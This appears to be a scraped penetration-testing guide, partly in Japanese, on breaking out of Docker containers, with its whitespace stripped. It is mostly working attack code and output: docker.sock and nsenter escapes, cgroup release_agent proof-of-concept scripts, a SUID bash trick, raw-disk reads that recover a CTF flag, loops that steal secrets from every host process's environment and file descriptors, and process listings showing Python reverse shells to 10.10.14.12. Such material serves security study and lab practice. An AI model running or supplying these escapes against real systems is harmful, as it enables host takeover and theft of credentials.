#Search the socketfind/-namedocker.sock2>/dev/null#It's usually in /run/docker.sock
この場合、通常のdockerコマンドを使用してdockerデーモンと通信できます:
#List images to use onedockerimages#Run the image mounting the host disk and chroot on itdockerrun-it-v/:/host/ubuntu:18.04chroot/host/bash# Get full access to the host via ns pid and nsenter clidockerrun-it--rm--pid=host--privilegedubuntubashnsenter--target1--mount--uts--ipc--net--pid--bash# Get full privs in container without --privilegeddocker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
コンテナ内では、攻撃者はクラスターによって作成された書き込み可能な hostPath ボリュームを介して、基礎となるホスト OS へのさらなるアクセスを試みるかもしれません。以下は、この攻撃ベクトルを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的な項目です:
### Check if You Can Write to a File-systemecho1>/proc/sysrq-trigger### Check root UUIDcat/proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
# Check Underlying Host FilesystemfindfsUUID=<UUIDValue>/dev/sda1# Attempt to Mount the Host's Filesystemmkdir/mnt-testmount/dev/sda1/mnt-testmount:/mnt:permissiondenied.--->Failed!butifnot,youmayhaveaccesstotheunderlyinghostOSfile-systemnow.### debugfs (Interactive File System Debugger)debugfs/dev/sda1
# spawn a new container to exploit via:# docker run --rm -it --privileged ubuntu bash# Finds + enables a cgroup release_agent# Looks for something like: /sys/fs/cgroup/*/release_agentd=`dirname $(ls-x/s*/fs/c*/*/r*|head-n1)`# If "d" is empty, this won't work, you need to use the next PoC# Enables notify_on_release in the cgroupmkdir-p $d/w;echo1>$d/w/notify_on_release# If you have a "Read-only file system" error, you need to use the next PoC# Finds path of OverlayFS mount for container# Unless the configuration explicitly exposes the mount point of the host filesystem# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.htmlt=`sed-n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`# Sets release_agent to /path/payloadtouch/o; echo $t/c> $d/release_agent# Creates a payloadecho"#!/bin/sh">/cecho"ps > $t/o">>/cchmod+x/c# Triggers the cgroup via empty cgroup.procssh-c"echo 0 > $d/w/cgroup.procs"; sleep1# Reads the outputcat/o
#!/bin/shOUTPUT_DIR="/"MAX_PID=65535CGROUP_NAME="xyx"CGROUP_MOUNT="/tmp/cgrp"PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"OUTPUT_NAME="${CGROUP_NAME}_payload.out"OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"# Run a process for which we can search for (not needed in reality, but nice to have)sleep10000&# Prepare the payload script to execute on the hostcat> ${PAYLOAD_PATH} <<__EOF__#!/bin/shOUTPATH=\$(dirname \$0)/${OUTPUT_NAME}# Commands to run on the host<ps -eaf > \${OUTPATH} 2>&1__EOF__# Make the payload script executablechmoda+x ${PAYLOAD_PATH}# Set up the cgroup mount using the memory resource cgroup controllermkdir ${CGROUP_MOUNT}mount-tcgroup-omemorycgroup ${CGROUP_MOUNT}mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}echo1> ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release# Brute force the host pid until the output path is created, or we run out of guessesTPID=1while [ !-f ${OUTPUT_PATH} ]doif [ $((${TPID} % 100)) -eq0 ]thenecho"Checking pid ${TPID}"if [ ${TPID} -gt ${MAX_PID} ]thenecho"Exiting at ${MAX_PID} :-("exit1fifi# Set the release_agent path to the guessed pidecho"/proc/${TPID}/root${PAYLOAD_PATH}"> ${CGROUP_MOUNT}/release_agent# Trigger execution of the release_agentsh-c"echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"TPID=$((${TPID} + 1))done# Wait for and cat the outputsleep1echo"Done! Output:"cat ${OUTPUT_PATH}
cp/bin/bash.#From non priv inside mounted folder# You need to copy it from the host as the bash binaries might be diferent in the host and in the containerchownroot:rootbash#From container as root inside mounted folderchmod4777bash#From container as root inside mounted folderbash-p#From non priv inside mounted folder
# On the container as rootcd/# Crate devicemknodsdab80# Give access to itchmod777sda# Create the nonepriv user of the host inside the container## In this case it's called augustus (like the user from the host)echo"augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash">>/etc/passwd# Get a shell as augustus inside the containersuaugustussu:Authenticationfailure(Ignored)augustus@3a453ab39d3d:/backend$/bin/sh/bin/sh$
# On the host# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ps-auxf|grep/bin/shroot 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus16590.00.04292712?S+09:480:00 \_ /bin/shaugustus16610.00.06116648pts/0S+09:480:00 \_ grep/bin/sh# The process ID is 1659 in this case# Grep for the sda for HTB{ through the process:augustus@GoodGames:~$grep-a'HTB{'/proc/1659/root/sdaHTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
For example, you will be able to list the processes using something like ps auxn and search for sensitive details in the commands.
Then, as you can access each process of the host in /proc/ you can just steal their env secrets running:
for e in`ls/proc/*/environ`; doecho; echo $e; xargs-0-L1-a $e; done/proc/988058/environPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=argocd-server-69678b4f65-6mmqlUSER=abrgocd...
for fd in`find/proc/*/fd`; dols-al $fd/*2>/dev/null|grep \>; done> fds.txtlessfds.txt...omittedforbrevity...lrwx------1rootroot64Jun1502:25/proc/635813/fd/2 ->/dev/pts/0lrwx------1rootroot64Jun1502:25/proc/635813/fd/4 ->/.secret.txt.swp# You can open the secret filw with:cat/proc/635813/fd/4
// From a conversation I had with @arget131// Fir bfing syscalss in x64#include<sys/syscall.h>#include<unistd.h>#include<stdio.h>#include<errno.h>intmain(){for(int i =0; i <333; ++i){if(i == SYS_rt_sigreturn) continue;if(i == SYS_select) continue;if(i == SYS_pause) continue;if(i == SYS_exit_group) continue;if(i == SYS_exit) continue;if(i == SYS_clone) continue;if(i == SYS_fork) continue;if(i == SYS_vfork) continue;if(i == SYS_pselect6) continue;if(i == SYS_ppoll) continue;if(i == SYS_seccomp) continue;if(i == SYS_vhangup) continue;if(i == SYS_reboot) continue;if(i == SYS_shutdown) continue;if(i == SYS_msgrcv) continue;printf("Probando: 0x%03x . . . ", i); fflush(stdout);if((syscall(i,NULL,NULL,NULL,NULL,NULL,NULL)<0) && (errno == EPERM))printf("Error\n");elseprintf("OK\n");}}```
Container Breakout through Usermode helper Template
If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
Find the path of the containers filesystem inside the host
You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit
Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens
You should be able to execute the trigger from inside the host
You need to know where the containers files are located inside the host to indicate a script you write inside the host
Have enough capabilities and disabled protections to be able to abuse that functionality
You might need to mount things o perform special privileged actions you cannot do in a default docker container